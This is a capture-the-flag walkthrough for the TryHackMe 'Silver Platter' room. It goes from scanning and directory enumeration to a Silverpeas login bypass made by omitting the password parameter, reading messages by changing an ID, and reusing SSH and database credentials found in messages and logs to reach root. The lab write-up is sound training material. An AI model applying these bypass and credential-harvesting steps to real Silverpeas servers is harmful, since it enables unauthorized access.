Silver Platter

• 🌐 Website: TryHackMe
• 🔥 Level: Easy
• 🖥️ OS: Linux
• 🔗 Link: Silver Platter

❓Question¶

What is the user flag?

📋 Walkthrough¶

We start with a port scan and find three open ports:

22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http

Visiting the website on port 80, we find the name:

Tyler Ramsbey

We start enumerating directories on the main web server:

gobuster dir \
-w=/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
--url=http://10.112.136.163

We only find:

/images               (Status: 301) [Size: 178] [--> http://10.112.136.163/images/]
/assets               (Status: 301) [Size: 178] [--> http://10.112.136.163/assets/]

Nothing particularly useful, so we try directory enumeration on port 8080 as well:

gobuster dir \
-w=/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
--url http://10.112.136.163:8080/

This gives us:

/website              (Status: 302) [Size: 0] [--> http://10.112.136.163:8080/website/]
/console              (Status: 302) [Size: 0] [--> /noredirect.html]

These paths do not immediately lead anywhere useful.

Going back to the main website and checking the Contact page, we find:

If you'd like to get in touch with us, please reach out to our project manager on Silverpeas. His username is "scr1ptkiddy".

This gives us both the application name and a username:

Silverpeas
scr1ptkiddy

We try using silverpeas as a path on port 8080:

http://10.112.136.163:8080/silverpeas

and find the Silverpeas login page.

By intercepting the login request, we can see the following parameters being sent:

Login=scr1ptkiddy&Password=test&DomainId=0

We modify the request and completely remove the Password parameter:

Login=scr1ptkiddy&DomainId=0

This allows us to bypass authentication and access the account.

Once logged in, we start enumerating the messages available to the user.

While browsing the Silverpeas mail functionality, we notice that messages are identified using an ID parameter:

http://10.112.136.163:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6

Changing the message ID allows us to access another message.

Inside message 6, we find:

Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes.

The message contains SSH credentials:

Username: tim
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

We use them to connect through SSH:

ssh tim@10.112.136.163

After logging in as tim, we can retrieve the user flag.

❓Question¶

What is the root flag?

📋 Walkthrough¶

Once logged in as tim, we start enumerating the system.

Checking the current user and groups:

id

returns:

uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

The interesting part is that tim belongs to the adm group.

This group can read several log files under:

/var/log

We start searching the logs for interesting information, especially commands executed by other users.

Eventually, we find a Docker command used to start the Silverpeas container:

/usr/bin/docker run --name silverpeas -p 8080:8000 -d \
-e DB_NAME=Silverpeas \
-e DB_USER=silverpeas \
-e DB_PASSWORD=_Zd_zx7N823/ \
-v silverpeas-log:/opt/silverpeas/log \
-v silverpeas-data:/opt/silvepeas/data \
--link postgresql:database \
silverpeas:6.3.1

The command exposes a database password directly in the environment variables:

_Zd_zx7N823/

Since the system also has a local user called tyler, we try reusing the password:

su tyler

The password works, showing that it was reused for the local tyler account.

From the tyler account, we complete the privilege escalation and retrieve the root flag.